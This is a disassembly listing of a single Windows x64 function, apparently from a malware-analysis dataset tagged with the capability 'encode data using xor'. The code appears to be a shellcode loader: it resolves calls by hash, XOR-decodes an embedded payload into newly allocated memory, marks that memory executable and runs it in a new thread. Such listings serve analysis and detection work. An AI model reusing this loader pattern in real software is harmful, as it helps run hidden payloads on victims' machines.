Function at 0x140001360
Capabilities:
Encode data using xor

Disassembly:
push rsi
sub rsp, 0x130
movdqa xmmword [rsp + 0x120], xmm15
movdqa xmmword [rsp + 0x110], xmm14
movdqa xmmword [rsp + 0x100], xmm13
movdqa xmmword [rsp + 0xf0], xmm12
movdqa xmmword [rsp + 0xe0], xmm11
movdqa xmmword [rsp + 0xd0], xmm10
movdqa xmmword [rsp + 0xc0], xmm9
movdqa xmmword [rsp + 0xb0], xmm8
movdqa xmmword [rsp + 0xa0], xmm7
movdqa xmmword [rsp + 0x90], xmm6
pxor xmm0, xmm0
movdqu xmmword [0x1400031a8], xmm0
movdqu xmmword [0x140003198], xmm0
movdqu xmmword [0x140003188], xmm0
movdqu xmmword [0x140003178], xmm0
mov qword [0x1400031b8], 0
mov ecx, 0xe0762feb
call section..text
mov esi, 0xffffffff
test eax, eax
je 0x1400017d6
lea rcx, [0x140003178]
call fcn.140001340
mov ecx, 0x5c2d1a97
call section..text
test eax, eax
je 0x1400017d6
lea rcx, [0x140003190]
call fcn.140001340
mov ecx, 0x2073465a
call section..text
test eax, eax
je 0x1400017d6
lea rcx, [0x1400031a8]
call fcn.140001340
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x70], 0x12100
mov dword [rsp + 0x6c], 0
mov qword [rsp + 0x78], 0
mov rdx, qword [0x140003178]
movzx ecx, word [0x140003188]
call fcn.140001840
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x60]
lea r9, [rsp + 0x70]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call fcn.14000184e
mov esi, 0xffffffff
test eax, eax
jne 0x1400017d6
mov rax, qword [rsp + 0x60]
lea rcx, section..data
mov rdx, rax
sub rdx, rcx
cmp rdx, 0x10
jae 0x14000151c
mov edx, 1
nop word cs:[rax + rax]
lea r8d, [rdx - 6]
xor r8b, byte [rdx + rcx - 1]
mov byte [rax + rdx - 1], r8b
lea r8d, [rdx - 0x60]
xor r8b, byte [rdx + rcx]
mov byte [rax + rdx], r8b
add rdx, 2
cmp rdx, 0x111
jne 0x1400014f0
jmp 0x140001731
movdqa xmm0, xmmword [0x140002020]
movdqa xmm1, xmmword [0x140002030]
movdqa xmm2, xmmword [0x140002040]
movdqa xmm15, xmmword [0x140002050]
movdqa xmm4, xmmword [0x140002060]
movdqa xmm5, xmmword [0x140002070]
movdqa xmm9, xmmword [0x140002080]
movdqa xmm12, xmmword [0x140002090]
movdqa xmm8, xmmword [0x1400020a0]
xor edx, edx
movdqa xmm11, xmmword [0x1400020b0]
pxor xmm14, xmm14
movdqa xmm13, xmmword [0x1400020c0]
nop word cs:[rax + rax]
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmm0, xmmword [rsp + 0x80]
pand xmm0, xmm11
movdqa xmm3, xmm4
pand xmm3, xmm11
movdqa xmm6, xmm9
pand xmm6, xmm11
movdqa xmm7, xmm12
pand xmm7, xmm11
pcmpeqd xmm7, xmm14
pshufd xmm10, xmm7, 0xb1
pand xmm7, xmm13
pand xmm7, xmm10
pcmpeqd xmm6, xmm14
pshufd xmm10, xmm6, 0xb1
pand xmm6, xmm13
pand xmm6, xmm10
movdqa xmm10, xmm5
pand xmm10, xmm11
packuswb xmm7, xmm6
pcmpeqd xmm10, xmm14
pshufd xmm6, xmm10, 0xb1
pand xmm10, xmm13
pand xmm10, xmm6
pcmpeqd xmm3, xmm14
pshufd xmm6, xmm3, 0xb1
pand xmm3, xmm13
pand xmm3, xmm6
movdqa xmm6, xmm2
pand xmm6, xmm11
packuswb xmm10, xmm3
movdqa xmm3, xmm15
pand xmm3, xmm11
packuswb xmm7, xmm7
packuswb xmm10, xmm10
packuswb xmm7, xmm10
pcmpeqd xmm3, xmm14
pshufd xmm10, xmm3, 0xb1
pand xmm3, xmm13
pand xmm3, xmm10
pcmpeqd xmm6, xmm14
pshufd xmm10, xmm6, 0xb1
pand xmm6, xmm13
pand xmm6, xmm10
movdqa xmm10, xmm1
pand xmm10, xmm11
packuswb xmm3, xmm6
pcmpeqd xmm10, xmm14
pshufd xmm6, xmm10, 0xb1
pand xmm10, xmm13
pand xmm10, xmm6
pcmpeqd xmm0, xmm14
pshufd xmm6, xmm0, 0xb1
pand xmm0, xmm13
pand xmm0, xmm6
packuswb xmm10, xmm0
packuswb xmm3, xmm3
packuswb xmm0, xmm10
packuswb xmm3, xmm0
shufps xmm7, xmm3, 0xcc
movaps xmm0, xmm7
andnps xmm0, xmmword [0x1400020d0]
andps xmm7, xmmword [0x1400020e0]
orps xmm7, xmm0
movdqa xmm0, xmmword [rsp + 0x80]
paddb xmm7, xmm8
pxor xmm7, xmmword [rdx + rcx]
movdqu xmmword [rax + rdx], xmm7
add rdx, 0x10
movdqa xmm3, xmmword [0x1400020f0]
paddq xmm12, xmm3
paddq xmm9, xmm3
paddq xmm5, xmm3
paddq xmm4, xmm3
paddq xmm15, xmm3
paddq xmm2, xmm3
paddq xmm1, xmm3
paddq xmm0, xmm3
paddb xmm8, xmmword [0x140002100]
cmp rdx, 0x110
jne 0x140001590
mov rdx, qword [0x140003190]
movzx ecx, word [0x1400031a0]
call fcn.140001840
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
lea r8, [rsp + 0x70]
mov rcx, 0xffffffffffffffff
mov r9d, 0x40
call fcn.14000184e
test eax, eax
jne 0x1400017d6
mov rdx, qword [0x1400031a8]
movzx ecx, word [0x1400031b8]
call fcn.140001840
mov rax, qword [rsp + 0x60]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x78]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call fcn.14000184e
test eax, eax
jne 0x1400017d6
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov eax, esi
movaps xmm6, xmmword [rsp + 0x90]
movaps xmm7, xmmword [rsp + 0xa0]
movaps xmm8, xmmword [rsp + 0xb0]
movaps xmm9, xmmword [rsp + 0xc0]
movaps xmm10, xmmword [rsp + 0xd0]
movaps xmm11, xmmword [rsp + 0xe0]
movaps xmm12, xmmword [rsp + 0xf0]
movaps xmm13, xmmword [rsp + 0x100]
movaps xmm14, xmmword [rsp + 0x110]
movaps xmm15, xmmword [rsp + 0x120]
add rsp, 0x130
pop rsi
ret